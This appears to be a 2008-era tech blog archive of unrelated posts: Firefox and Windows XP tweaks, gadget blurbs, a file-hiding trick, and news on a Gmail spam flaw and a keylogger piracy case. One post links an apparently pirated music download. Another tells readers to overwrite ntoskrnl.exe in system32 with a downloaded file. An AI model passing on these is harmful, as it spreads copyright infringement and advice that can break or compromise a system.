8 New FIREFOX V3 Hacks to make Firefox go extreme fast

The Mozilla FireFox V3 is undoubtable a great browser , but with some little Hacking tweaks ,u can doublize its performance..


1. Enable pipelining

Browsers are normally very polite, sending a request to a server then waiting for a response before continuing. Pipelining is a more aggressive technique that lets them send multiple requests before any responses are received, often reducing page download times. To enable it, type about:config in the address bar, double-click network.http.pipelining and network.http.proxy.pipelining so their values are set to true, then double-click network.http.pipelining.maxrequests and set this to 8.

Keep in mind that some servers don’t support pipelining, though, and if you regularly visit a lot of these then the tweak can actually reduce performance. Set network.http.pipelining and network.http.proxy.pipelining to false again if you have any problems.


2. Render quickly

Large, complex web pages can take a while to download. Firefox doesn’t want to keep you waiting, so by default will display what it’s received so far every 0.12 seconds (the “content notify interval”). While this helps the browser feel snappy, frequent redraws increase the total page load time, so a longer content notify interval will improve performance.

Type about:config and press [Enter], then right-click (Apple users ctrl-click) somewhere in the window and select New > Integer. Type content.notify.interval as your preference name, click OK, enter 500000 (that’s five hundred thousand, not fifty thousand) and click OK again.

Right-click again in the window and select New > Boolean. This time create a value called content.notify.ontimer and set it to True to finish the job.


3. Faster loading

If you haven’t moved your mouse or touched the keyboard for 0.75 seconds (the content switch threshold) then Firefox enters a low frequency interrupt mode, which means its interface becomes less responsive but your page loads more quickly. Reducing the content switch threshold can improve performance, then, and it only takes a moment.

Type about:config and press [Enter], right-click in the window and select New > Integer. Type content.switch.threshold, click OK, enter 250000 (a quarter of a second) and click OK to finish.


4. No interruptions

You can take the last step even further by telling Firefox to ignore user interface events altogether until the current page has been downloaded. This is a little drastic as Firefox could remain unresponsive for quite some time, but try this and see how it works for you.

Type about:config, press [Enter], right-click in the window and select New > Boolean. Type content.interrupt.parsing, click OK, set the value to False and click OK.


5. Block Flash

Intrusive Flash Animations are everywhere, popping up over the content you actually want to read and slowing down your browsing. Fortunately there’s a very easy solution. Install the Flashblock extension (flashblock.mozdev.org) and it’ll block all Flash applets from loading, so web pages will display much more quickly. And if you discover some Flash content that isn’t entirely useless, just click its placeholder to download and view the applet as normal.


6. Increase the cache size

As you browse the web so Firefox stores site images and scripts in a local memory cache, where they can be speedily retrieved if you revisit the same page. If you have plenty of RAM (2 GB of more), leave Firefox running all the time and regularly return to pages then you can improve performance by increasing this cache size. Type about:config and press [Enter], then right-click anywhere in the window and select New > Integer. Type browser.cache.memory.capacity, click OK, enter 65536 and click OK, then restart your browser to get the new, larger cache.


7. Enable TraceMonkey

TraceMonkey is a new Firefox feature that converts slow Javascript into super-speedy x86 code, and so lets it run some functions anything up to 20 times faster than the current version. It’s still buggy so isn’t available in the regular Firefox download yet, but if you’re willing to risk the odd crash or two then there’s an easy way to try it out.

Install the latest nightly build (ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/), launch it, type about:config in the address bar and press Enter. Type JIT in the filter box, then double-click javascript.options.jit.chrome and javascript.options.jit.content to change their values to true, and that’s it - you’re running the fastest Firefox Javascript engine ever.


8. Compress data

If you’ve a slow internet connection then it may feel like you’ll never get Firefox to perform properly, but that’s not necessarily true. Install toonel.net (toonel.net) and this clever Java applet will re-route your web traffic through its own server, compressing it at the same time, so there’s much less to download. And it can even compress JPEGs by allowing you to reduce their quality. This all helps to cut your data transfer, useful if you’re on a limited 1 GB-per-month account, and can at best double your browsing performance.

Ultimate 5-in-1 Pen

Sometimes a gadget passes our desks that makes even the most cynical simian here giggle with delight. The Ultimate 5-in-1 Pen is such a gadget. Why? Because there is a simple formula that says gadget enjoyment increases in direct proportion with the number of things said gadget has crammed in it. In simple terms: the more it do, the more we like it. And this Pen does it all.

This high tech gadget has enough bells and whistles to make most geeks drool. Twist the shaft one way and you get a ballpoint pen, twist it the other way and you get a stylus tip for stylusing stuff. Press the top button to turn on the laser pointer, press the bottom button to cycle through the flashlight and UV light. The flashlight even comes on a flexible shaft for precision aiming.

Please Note: Your pen will ship with a small separator between two batteries that needs to be removed prior to use.

R/C Spy Video ATV-360

Something is going on in the breakroom. You walked by and thought you heard your name whispered as well as the word "cake." It's imperative that you discover what's going on. So you do the only thing you can do: you sit comfortably at your desk and deploy your R/C Spy Video ATV-360.

From the comfort of your office, you see and hear everything the ATV-360 does (through the LCD heads up display and earbud). You easily maneuver it down the hall - the ATV's tank treads climbing over any junk in its way. Reaching the breakroom, you hit the 360 button, spinning the ATV in a full circle and giving you an instant scan of the entire room. Everyone is hiding; it's a surprise party for you. You pilot your ATV-360 back and pick up your Nerf gun. Time to surprise the surprisers - and then eat some cake!

LighTalk

Picture this: you are in a meeting, bored out of your mind. So you doodle on your note pad, pretending to take notes. Suddenly, you realize you might have created the world's greatest doodle and you need to share it with your equally bored coworker on the other side of the table. Pull out your LighTalk II; problem solved.

With a push of a button, the LighTalk II has scanned the image into its memory. Flip the switch to the display mode, and wave the pen-shaped LighTalk II back and forth like an upside down pendulum. Your image will be created in the air by a strip of orangey LEDs, and all will be amazed. Persistence of vision at it's best. But this is version 2.0, which has some incredible new features. Apart from holding four more scans than version 1, you now have the ability to display one message after another in Continuous Display Mode. Also, with the new IR feature, you can "beam" your drawings and messages straight into a friend's LighTalk II. Now, not only can you flash your doodle, you can share it too!

Nightmare Before Xmas Mobile Light

Ghouls and ghosts and things that go bump in the night - sometimes even they get tired of all the darkness. That's why the most fashionable witches, vampires, and other distinguished citizens of Halloweentown use the mesmerizing Nightmare Before Xmas Mobile Light to illuminate their abodes. Hey, it doesn't cast much light and works best in pitch dark... but that's just the way those Halloweentowners like it.

This nifty light casts a slowly rotating image of Jack Skellington and friends on your ceiling. You get a random choice of two slightly different designs.

Anti-gravity Globe

Ok, before you start sending us emails - we fully understand that this isn't a real anti-gravity device. Of course it's a prototype, duh. We are busy working on a true anti-gravity globe and plan to release one in 2011, right after we release a flying pig. Marketing-based-gimmicky product names aside, this globe does hover above its base in a seeming defiance of gravity. How does it accomplish this astonishing feat?

There is a thin, but extraordinarily strong, column of precisely engineered nano-simians between the base unit and the globe that keeps the appearance of the globe hovering above the base unit. Woohoo!

How does it really work?

As always, we are as tickled as dogs trapped inside a squirrel park to give you the inside scoop. It's simple really. The globe itself is very light in weight. There is a precisely placed magnet located at the inside top of the globe. Once you plug in the heavily weighted base, and carefully place the globe over top the center of the base, a combination of sensors and micro-processors help to calibrate the embedded electromagnet in the base to properly suspend the globe.

EyeClops Night Vision Goggles

Here's the situation: you wake up in the middle of the night and you want water. But you don't want to turn on all the lights, for they will burn your eyes with their incandescence. So, you either injure yourself, stumbling in the darkness, or you wet your bed. Neither is fun. If you have some of these awesome Night Vision Goggles next to your bed, you'll be able to see in the dark and pee in safety and ease.

Ok, so you might think these things are just toys, the type that say "night vision" but really just have a pop out flashlight. Nope. These are the real deal; true infrared night vision, for the price of a toy. You can't imagine the happy dance we did when we realized these worked really well. Now we can sneak around like the ninjas we know we are, in the dark, watching all - and you won't be able to see us. Unless you're a ninja too, and have some EyeClops Night Vision Goggles of your own.

* This was, actually, the first test we put these through: peeing in the dark. It was a complete success. True story.

Laser Stars Projector

When you turn off your lights and turn this unit on - trust us - you will be bamboozled with star rapture. That's the only way we can describe it.

What IS the Laser Stars Projector really?
It's a unit about 10inches tall that projects a combination of green laser stars and blue (slightly ultraviolet-ish blue) clouds onto your ceiling, walls, pets, etc. Both the clouds and the stars are constantly moving and morphing, just like a proper Universe should. And there are literally thousands of green laser stars to look at. There are two ways you can adjust your Laser Stars Projector, first you can pivot the projector itself 180 degrees horizontally around the base so that you can control *where* it is projecting in your room. It can literally fill up an entire ceiling and portions of several walls at once. And the other thing you can adjust is the intensity of the blue gaseous clouds, from zero to full intensity.

How does it really work?
The Laser Stars Projector utilizes a state of the art Diode Pumped, Solid State (DPSS) green laser combined with custom developed multiphase diffractive holographic optics, super luminous diodes and precision motors to produce the laser stars effect. The coherent light produced by the DPSS laser passes through a passive diffractive holographic optical element, which in turn passes through a circular periodicity electromechanical wheel, which is driven by a precision motor to create the soothing motion of the star field. So there.

Hurry, get one before your friends do. Then plug it in, turn it on, and tune out...


Please note: It's difficult to portray what the Laser Stars Projector projects here in images because it works best in the dark. The images tend to mute the green stars and exaggerate the blue clouds a bit.

Mini Solar-Powered Car

Car is tiny, power source is very large

Solar cars are, unfortunately, still in the research and development phase, although we saw one recently that drove from Texas to New York in 5 days. Despite being impressive, it'll likely be years before we have one sitting in the driveway, charging. Until then this working miniature model will have to keep us entertained.

The world's smallest solar powered car - it zooms along when the sun shines on the solar panel. No batteries - it gets its power just from the sun. No assembly required. Measures a tiny 3.3 x 2.2 x 1.4 cm. When the sun shines on the solar panel, the panel makes electricity that turns the motor and the wheels. A fun demonstration of solar power. Will also work when close to a strong artificial light source. Not for children under 3 years old, due to small parts.

The Classic Radiometer

Photon Pressure?

Way back in 1873, some dude named Sir William Crookes noticed some weirdness in a scale he built. It appeared as though some samples weighed more or less depending on if sunlight was shining on the scale. Weird! He postulated that it was the pressure of the light being exerted on the scale that modified his results.

Of course, he was totally wrong, but it was a cool idea.

See, the bulb in which the blades spin is a partial vacuum. Partial being the tricky part - another clever scientist by the name of Lebedev noticed that the effect disappeared in a hard vacuum. So, air has something to do with it. Basically, the principal is the air that hangs out by the cool side of the blade flows slowly to the warm side of the blade. That process is called thermal transpiration. Science is cool.

The ThinkGeek Radiometer looks awesome sitting on your desk or windowsill. It works great in direct sunlight, but moves pretty well even hit with a flashlight! Of course, in ThinkGeek's own highly scientific testing, a laser, while intense, was too focused to significantly move the vanes very quickly at all. Your mileage may vary!

USB Plasma Ball

We are certain you've seen these plasma balls before. They've been around ever since bad hair bands from the eighties. Recently they've become available in tech friendly USB versions so we've decided to put this classic on your must have list. Our only question really is why can't we have amazing, affordable, *NEW* desktop science toys invented in the twenty first century? Things like mini USB desktop wormholes, or keychain Schroedinger's kitten boxes? If you can't give us jetpacks, at least make some for our action figures...

How does the USB Plasma Ball Really Work?
Glad you asked. A combination of interesting and fun gasses (like Argon) are first trapped inside a plastic sphere at relatively low pressures. An alternating current, at relatively high voltages (Hey, this is USB remember, so it can't get too crazy), are pumped into the sphere via an electrode in the center. This energy causes electrons to be stripped from the gasses,leaving in its wake some positively charged ions and a gorgeous gaseous and electrically conductive environment (aka Plasma). That high voltage served up through the electrode will now arc up through the plasma to the lower voltage edge of the plastic sphere (starting at the top where the temperature is greater). The arcs glow because they are hotter than the surrounding plasma. You can touch the plastic and the arcs will strongly congregate to your touch because you will be creating an even lower voltage jump from the electrode. All this made possible by the evil genius of Nikola Tesla, oh, and some science.

Powered by an included USB cable, this desktop Plasma Ball is about stands about 6 inches high and includes an on/off switch. While it emits a very low current, it does so at a relatively high-voltage and so it does produce some EMF. Respect your plasma ball and it will respect you!

Instant Snow! Just Add Water!

Somewhere, in Death Valley, California, Little Johnny asks his mommie, "How does Santa get here, if it never snows?"

Her mind races as she tries to come up with an answer. Repulsorlift? Hovercraft? Transporter? Little Johnny, a clever little tyke, would see through such simplistic ruses. She stammers as Little Johnny's quizzical expression turns to distrust and frustration.

In a flash, she remembers! "Aha! He makes his own snow! He carries a small container of this special powder that he mixes with water to create fresh snow!"

You, too, can create snow any time of year with Instant Snow! This hi-tech powdered polymer absorbs water and expands nearly 100 times into a flaky white non-toxic substance closely resembling real snow. It's science! Hooray, science!

Pour a few ounces into your favorite container, add water, and watch as snow erupts, spilling over the container lid. Leave your snow alone for a few days and let it dry out, turning back into a compact powder. It can be reused again and again so it's also hippie friendly!

Each 8oz jar makes 2 full gallons of the fluffy stuff, while the ultra-portable test-tube size cranks out two cups! While Instant Snow is non-toxic, we don't recommend eating any. Flush thoroughly with water if it is accidentally ingested. Be safe, and have fun!

Vaaranam Aayiram Songs

4 Songs + 1 guitar music of a song.
Download this superb movie songs....
Size : 19Mb

http://rapidshare.com/files/147868310/Vaaranam_Aayiram.rar

This contains only 4 songs.... If u want all 7 songs then go to my other blog

http://linksworls.blogspot.com

Find all songs here....

Change Thumbnail Size And Quality

If any of you out there like to use the thumbnail view, especially for browsing through photos and images, it can become a bit of a drain on your system. It is possible to lower the thumbnail size and quality by editing the following registry keys.

Open the registry and navigate to :

HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer

Create a new DWORD value called ThumbnailSize, and set the value between 32 and 256.

And/or create another DWORD value called ThumbnailQuality, and set the value between 50 and 100.

Key Details :

USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailSize
Data Type: REG_DWORD (DWORD Value)
Data Value: 32 - 256

USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailQuality
Data Type: REG_DWORD (DWORD Value)
Data Value: 50 - 100

Change your Windows XP Boot Screen

This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.

Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.

Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.

Once there paste your new file into the folder and overwrite the existing folder.

Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.


ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Hide your files - One more secret

Hi friends. You always are in the search of various amazing tricks which helps you to hide the important folders. This is a simple but a cool trick which will help you gain command over your data in the folders.

HIDE THE FILE.
a) First open command prompt .
b) Then type ‘attrib +s +h “path of the file”.
E.g. Attrib +s+h c:\ example \Darani
c) And surprise the file will be hidden.

This will hide the file.

UNHIDE THE FILE
a) Again open command prompt.
b) Then type ’attrib –s -h path of the file’.
E.g. Attrib –s-h c:\ example \Darani
c) And you will again gain the file.

So njoy hide and seek....

Have a gr8 daybye tc

Branding the Decentralised Me

Loic LeMeur has been posting his ideas about the Decentralised Me; it's much of what I have been blogging about for a long time now - what I have called the Digital Persona. It's a Cloud Computing matter that finally touches upon the very core of software as a service; the notion that personal rich-media publishing (blogs, photos, file-sharing, presence/status updates etc) is valuable to businesses if they can find a way to encourage users to bring-together all those threads under one roof.

Facebook does this more successfully than anyone else (right now). Plug-in "applications" notwithstanding, the out-of-the-box experience on Facebook ticks all the boxes of basic lifestreaming; personal publishing, status/presence updates, visual media sharing, community functionality and the aggregation services necessary to make a single personal relevant data-stream for each user.

Spend enough time beefing-up your profile on Facebook (and enjoying the feedback of friends and communities) and suddenly you realise that even if viable competitors existed, you'd stay loyal to Facebook. After all, your data is there. Your digital persona is centred there. Your lifestream is there. You'd only leave if the competition offered something remarkable.

The only trade-off in this arrangement is that you must live with Facebook's branding. You must accept that it's not a brand you can play with. You can't change the Facebook banner logo with one of your own choosing. You can't customise your profile to appear a seamless extension of your existing website or blog. You can't remove the adverts.

Of course, this will most likely change at some point in the future; imagine an inexpensive monthly subscription service offering Facebook Premium services - we can only speculate at how much customisation would be permitted, and I'm pretty certain the Facebook brand would remain intact and immovable - but the adverts would go in an instant.

An offline version (think Google Docs or any other smart client app you've used in the past) would be a logical next-step and hugely useful for those who use Facebook as part of their communications routine; don't forget that many businesses actively support the use of Facebook, establishing their own personal Networks and Groups. Some companies provide community support services via closed Facebook Groups. When someone describes Facebook as the MySpace for adults, they're doing it a disservice; Facebook has outgrown the University-only social networking vision it started with; it's now a viable extension of everyday business services.

And all we have to do is accept that - however we use it - our digital persona's over on Facebook are appropriately - and indelibly - branded. It might be our data; but it's their brand. And they won't make it easy to for us to leave.

And yet, leave we shall, because there's always a bigger fish. There will be a successor to Facebook (sooner or later) that offers all the same, plus something remarkably different.

How to Create a Password Reset disk for XP

create a password reset disk for XP,and use it if you lose your password

SOLUTION:-

There’s something called the Forgotten Password Wizard, which allows you to create a
password reset disk that can be used to recover password and personalised computer
settings if the password is forgotten. The steps to perform the task differ for domain
and work-group scenarios.

If your computer is on a domain, you can create the Domain Password Reset Disk
as follows. Press [Ctrl] + [Alt] + [Delete] to open the Windows Security dialog box.
Click Change Password. Click Backup to open the Forgotten Password Wizard. Click
Next, then follow the on-screen instructions.

If your computer is not part of a domain, you can create a Non-Domain Password
Reset Disk; the procedure here varies depending on whether you have an administrator
account or a limited account.

If you have an administrator account,create an Administrator Password Reset Disk:open
User Accounts in the Control Panel.Select the Administrator. Click Prevent A Forgotten
Password under Related Tasks.Follow the instructions in the Forgotten Password Wizard.
For a Limited Account Password Reset Disk, do the same, but by selecting the Limited
User Account instead of Administrator.

Here’s how to use the Password Reset Disk to log on to a computer: boot through the
disk you created. Click the username whose password is on the recovery disk.
Press [Enter] or the Right Arrow. This causes the “Did You Forget Your Password?”
message to appear. You can click the “?” button to see your password hint. If
you have forgotten this as well, you can useyour Password Reset Disk to reset your
password. This will start the Password Reset Wizard.Follow the instructions and you
will be able to set a new password. The Password Reset Disk is also automatically
updated with the new password information, so you don’t have to create a new password
reset disk.

Note that the disk you create can only be
used with the computer on which it was created.

More Use of Open Source Mobile Web Browsers

It might not be the case that control of a mobile browser necessarily means control of the applications environment. It might, though, mean substantial upside in terms of software customization and enhancement of user experience. So mobile device manufacturers seem to be focusing on use of open-source browser platforms as a way to leverage creation of other applications that can lead to differentiation of user experience.

As consumers increasingly surf the Web on their mobile phones, handset vendors are looking toward open-source browsers such as WebKit – the browser engine at the heart of the iPhone’s Safari browser – as a way to bring it to them. However, despite growing interest in WebKit and Gecko (the engine for the Mozilla Corporation Firefox browser), commercial browser vendors such as Opera and ACCESS continue to see growth in their businesses.

According to ABI Research, overall growth in the mobile browser category will lead to a total pre-installed revenue of $492 million by 2013, driven by the trends of more complex HTML-based browser integration.

“Device manufacturers are interested in open-source solutions where there is a desire for increased control of their software footprint, and where they can bring internal programming resources to bear,” says research director Michael Wolf. “

Open-source offerings such as WebKit are experiencing adoption by vendors such as Apple, Nokia, and others. Google made WebKit its core browser and Web-rendering engine for the Android platform; and application framework vendors such as Trolltech have integrated WebKit into their development framework. Mozilla also continues to develop its version of mobile Firefox, and Nokia has integrated a Gecko-based browser on its N800 Internet tablet.

AT & T to change the Broadband marketing language

At the Federal Communications Commission Pittsburgh broadband hearing, AT&T Senior Federal Regulatory Vice President Robert Quinn is reported by Broadband Reports to have said the company would in the future stop advertising speeds "up to" a specified rate, and would instead "strive to provide service within the speed tier purchased by the customer."

When AT&T finds it is not providing service within the ordered speed tier, AT&T will take action either to bring the customer's service within the ordered tier or give the customer an option to move to a different tier," he said.

Today, customers can order service "up to 7Mbps" tier, while plant conditions limit them to lower real-world bandwidth. Under the new scheme, customers will be offered the expected speed the plant supports, and then supplied with the higher speeds actually possible on their chosen plans.

AT&T also says it will supply customers information about how much bandwidth various applications consume, so they can choose the right plans. To Broadband Reports, that sounds like a precursor to some form of usage-based billing. It may well be. AT&T has been pretty clear that usage will play a bigger role in future access plans. That is an issue many will argue about.

But giving users a better understanding of their bandwidth requirements is a good thing, as is the policy of selling actual service that matches the marketing claims.

How to cancel a printer?

Sometimes we tell our machines to do something (let’s, for the sake of example choose, oh, say, print a 10-page document) and then, being human and somewhat fickle, we change our minds.

Perhaps we notice that we selected the wrong document; or, we have a sudden “inspiration” and there’s now a whole new thought we want to insert into it.. or we notice a major typo that we need to fix. Whatever it is, we want the printer to stop printing NOW.

Now what I am going to say next might comes as a surprise and a shock to some of you folks– but, sometimes in life you just have to grab that band-aid by the corner and rip that sucker off.
Here’s the thing, and I ain’t gonna sugarcoat it– computers are dumb machines. (Maybe, instead of “dumb”, I should say “obedient”..)

Computers follow rigid logic to obey the “commands” you “input”, and they really don’t “multitask” very well. They ‘think’ and act sequentially.. and don’t move on to the next input/command until they have completed the first one.
What this means is: they won’t even see the command to stop printing the 10-page document until they have “processed” the Print command you gave earlier.
(The paper and ink that gets wasted this way is truly your fault, and not the computer’s. You told it to Print, and it merely obeys!)

When you hit the power button on the printer (or yank the power cord out of the wall) you haven’t really stopped the Print job. Oh, no. You have only interrupted it. When you turn it back on, or reconnect the USB cord– your machine is going to everything in its power to complete its assigned task.. and it starts printing the 10-pager from right where it left off.

The correct way to stop the print job (you commanded) is to erase it from your PC’s memory. Remember I told you computers were dumb? Well, they can be forgetful too.

1) Go to Printers in your Control Panel (In XP: Start> Settings> Printers and Faxes. In Vista: Start> Control Panel> Hardware and Sounds> Printers.)
2) Double-click on the printer that is still trying to print the 10-page document.

The window that opens will show all the print jobs scheduled to be sent to the printer for completion, and the 10-page document should appear here.

3) Click on “Printer” from the menu bar, and click “Cancel All Documents”. (Answer “Yes” if you’re asked, “are you sure?”)

That’s it. Your computer has now “forgotten” your command to print, and when you turn your printer on again, it will not start printing something you no longer want.

Quick tweak to improve the speed of ur monitor.

In just a few clicks, you can improve the appearance of items on your screen, make things easier for your eyes, and get peppier performance out of your PC.

Making adjustments to settings, and turning various things on or off, is known as “tweaking”, and sometimes “optimizing”. And being a Geek, I love to tweak my machines until they’re running like a Indy 500 car. Today’s quick tip will take you all of 45 seconds to do, and it will give you noticeable results. Turn on font smoothing, and turn off special effects.
The settings we’re going to tweak are all found on the Appearance tab of your Display Properties: right-click on a blank area of your Desktop and select “Properties”

On the “Appearance” tab, click on the “Effects” button.

Here we’re going to turn one item on, and three off, by placing or removing checkmarks.
1) Turn on the ClearType font smoothing feature by placing a check in its checkbox, and using the drop-down arrow to set it to ClearType. This will make reading easier, and reduce headache-causing eye strain.
2) Turn off the “bells-and-whistles” special effects that, while ‘modern’ and ‘cool’, really only slow things down quite unnecessarily. (aka “waste system resources”)
* uncheck “transition effects”
* uncheck “shadows”
* uncheck “show windows contents while dragging”
3) Click OK, and OK again.

That’s it. You’re done. Easy, right? Right. Should you change your mind someday, undoing these changes is just as easy.. just place a check again. (But I very much doubt you will!)

A Personal Screen Saver in Win XP!.txt

This isnt a tweak, but a great little feature! For a great way to put your digital photos to work, try creating a slide show presentation for use as a screen saver. Here's how:

1. Right-click an empty spot on your desktop and then click Properties.

2. Click the Screen Saver tab.

3. In the Screen saver list, click My Pictures Slideshow.

4. Click Settings to make any adjustments, such as how often the pictures should change, what size they should be, and whether you'll use transition effects between pictures, and then click OK.

Now your screen saver is a random display of the pictures taken from your My Pictures folder.

Nortel Adds Web 2.0 Software

Nortel's new Adaptive Application Engine software, built around Session Initiation Protocol, allows Nortel customers to create Web 2.0 applications like social networking, blogs, and wikis with IP voice and multimedia.

Operators can choose to run the software on hundreds of Red Hat Enterprise Linux compliant servers.

The Adaptive Application Engine software provides an open programmability environment and web service Application Program Interfaces which allow third-party software developers to easily develop new applications which use call routing, presence and federated IM.

The software is designed to support both smaller service providers as well as tier one providers as well.

The Adaptive Application Engine software can be deployed as a SIP Application Server, as an IMS application server or as advanced capabilities on the Communication Server 2000.

Nortel says the new software will allow service providers to create unified communications services, federated instant messaging and IP communications integrated with Web applications.

The software also supports features such as using TVs to control calls or send instant messages.

The software also will allow service providers to create fixed mobile convergence services such as making mobile phones into office extensions and allowing calls to be moved back and forth across tethered and mobile devices.

Nortel is first among the large traditional switch vendors to make such tools available as a "bolt on" to its existing architecture. Depending on how the software is received, it could be an important step for service providers on the Nortel platform.

Up to this point there has been some skepticism that smaller service providers, in particular, would be able to create these sorts of applications on their own. The software is half the solution. Now Nortel has to pull together a developer community and make those apps available to its customers.

Exploit In Google That Turning It Into ‘Spammers Tool’

Gmails “security flaw is turning it into a spamming machine” , As Insert (Information Security Research Team) reports.

This report by INSERT, the Information Security Research Team, has created a proof of concept that said that by exploiting the flaw that forwords messege by SMTP port spammers can send thousands of messeges. But for this they are supposed to exploit the restriction of 500 bulk emails doe by Gmail. This report also state that there is kind of “trust hierarchy” established between mail providers.
You dont need very special knowldge of hacking for this , INSERT states “anyone can do this”
This document by INSERT presents a vulnerability report and a proof of concept attack that demonstrate how anyone with no special internet access privileges can access this vulnerability and send send spams through this flaw.
The report notes that with the rising volume of spam, e-mailservice providers have made black listing and white listing system for mails by which you can send spams to black lists. Through this they can block IP address of mail sender. But Gmail is spread everywhere as a whitelist member so threat level can be high.
Gmail team has no. official comment on this yet.
In past also through google calender spammers used to spam. Let us see what Google will do this time.

Wish you were here, virtually

Linuxville is such an interesting place, every knook and kranny has details and depths to explore. Besides being able to take it with you (live-CD's), you can as if you had a computer in your computer, run a second OS to see if the grass is greener. It is called a virtual machine and it is all the rage. There are realities in running virtual machines called sharing resources.

So, if you only have 512MB of memory, you would use 256MB of it to run the other operating system. That other operating system would appear to be just another application running but would "Virtually" be another computer (with less resources) running at the same time as your main OS. The effect is that things respond slower depending upon the load. It is not that bad if you have a lot of memory and a higher CPU speed. So, why on earth would you want to do this madness? What is the reason you might want more than one OS anyway?? Well, if the Wine emulator isn't working for you, you could install MS Windows as a virtual machine and run window's apps. Or like I said you could see if other Linux distros are better than what you have now. It is actually more cool because you don't have to burn a CD, just download the ISO file and run it virtually.
Virtual Machine software comes in various packages and depends upon your distro if you can easily use them. VMware is probably the oldest, most well known, then there is VirtualBox which is new and very nice to use. It is a wrestling match to install Virtualbox in Mepis but I will make the effort and tell you all about it. What I am using now is Qemu and it is so slow as I only have 512MB of memory and using KDE eats up a lot of that. But, Qemu is very easy to use. OK, here is one thing in Linux I really want and virtual machines is a big part of it. I want one application that allows me to play or view all the media files on my system. The separate programs are wonderful, but one "front-end" to manage and view it all would be great. I have raved before about Elisa Media Center as being a good looking application for this purpose. I have had terrible luck installing and getting it to run on my Mepis system, no problem in Xubuntu. I have discovered a few more apps that will do the job. They happen to be mini-Linux distros. The first one is called Geexbox. It has quirks but works on my system. Then there is LIMP which also works and Womp which works too. These distros are tiny and are just meant for playing media. I will have to see if they are fit for my needs as I don't need them to stream video or drive a TV tuner card, just view and play what I already have on my computer. Then to have the ability to use or play with all those small Linux distros is great fun. DSL or Damn Small Linux, Wolvix and Puppy Linux and several more are all great to explore. I can save my CD's for permanent collections. Those big distros I'd rather just use the live-CD, they seem to run better. The bottom line is that having as much system memory as you can afford is useful for any OS. Use older hardware if you must but realize how hard it is to support it. You will end up running older versions of Linux to do the job. Please let go of your 8088 and your 386, even 486 cpu's are a trial to support! I would consider a serious upgrade if your stuff is hitting 6 to 8 years old. Then you can enjoy all the modern gadgets and widgets.

Here is another edition of "Linux Truths", this time with a question attached. There is no one Linux that does it all because developer groups tend to focus on certain out comes, so that you can have an out-of-the-box experience. Which Linux distros seems to have the most extensive assortment of popular applications in their repositories, allow app installation without extra steps and have all this without resorting to a DVD size ISO? I ask this because .deb's compiled for one distro might not work in another. Is there a distro that has the depth and breath? Don't say Debian because I know of many applications I can't find in Debian, you have to compile them from source yourself to run in Debian. Ultimately compiling source code allows you to have custom distros. That is the very mechanism that makes software run in your distro, on your computer, specifically. To have software compiled to the "Debian" standard is a general specification. If Ubuntu, based on Debian, is designed differently than Debian, you can't actually expect all software compiled for Ubuntu to run on Debian and vice-versa. The differences might be small, but are just enough for stuff to not install or run. This is why distros usually stock repositories with software compiled to run in their distro. Same source but compiled to run in a different situation. I want to tell all you standardization cheerleaders that it is not a Linux flaw, it's a feature. This is why the same "Linux" can run on so many different types of hardware.

Does this take the fun out of Linux, no, we just see what other folks are using and experiencing. Then we try it, if we have problems or success we share it, voice it, blog it for others to be warned or encouraged. In Linuxville we call that community!!

Oregon case reveals the tie between software piracy and identity theft!

Software Piracy is a multi-billion dollar issue. Whether it's hawked in a spam e-mail, a flea market or on a auction site -- it might not work as well as advertised -- and could even lead to identity theft.

You never know what might be installed in pirated software. The person selling it to you might add a little malicious software (containing a keylogger) and steal all your personal and financial information.

A recent case showing how pirated software leads to identity theft was announced by the Department of Justice:

An Oregon man pleaded guilty today to selling counterfeit computer software with a retail value of more than $1 million, in addition to aggravated identity theft and mail fraud, announced Assistant Attorney General of the Criminal Division Alice S. Fisher and Karin J. Immergut, U.S. Attorney for the District of Oregon. This case is part of the Justice Department’s initiative to combat online auction piracy.

Jeremiah Joseph Mondello, 23, of Eugene, Ore., pleaded guilty to one count each of criminal copyright infringement, aggravated identity theft and mail fraud before U.S. District Court Judge Ann L. Aiken in Eugene. Mondello faces up to 27 years in prison, a maximum fine of $500,000 and three years of supervised release. Sentencing has been set for July 23, 2008.

Although this only appears to be a small win in the overall problem, it illustrates the danger of installing unauthorized software on your system. You might get more than you bargained for:

Mondello admitted to stealing individuals’ identifying information to establish online payment accounts in their names. Mondello acquired victims’ names, bank account numbers and passwords by using a computer keystroke logger program to surreptitiously obtain this information. The keystroke logger program installed itself on the victim’s computer and then recorded the victim’s name and bank account information as the information was being typed. The program then electronically sent the information back to Mondello, and he used this stolen information to establish the online payment accounts.

In other words, the moral of the story is that the money you save buying knock-off software can easily be lost when the seller returns to clean out your financial assets.

Trust me, criminals are not honorable and they could care less, if you get left holding the bag.

Last, but not least, most victims of identity theft are able to get their financial institutions to write-off their losses. However, if they discover you used illegal software -- which happened to contain malicious capabilities -- my guess is they are going to deny your fraud claim.

Modifying Text On XP Start Button!

There's been few articles on the Web about how to change the text on Windows XP Start button. Really that's usually not so easy (mainly because explorer.exe is a binary file that requires a special editor). Just follow this simple step by step tutorial.

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

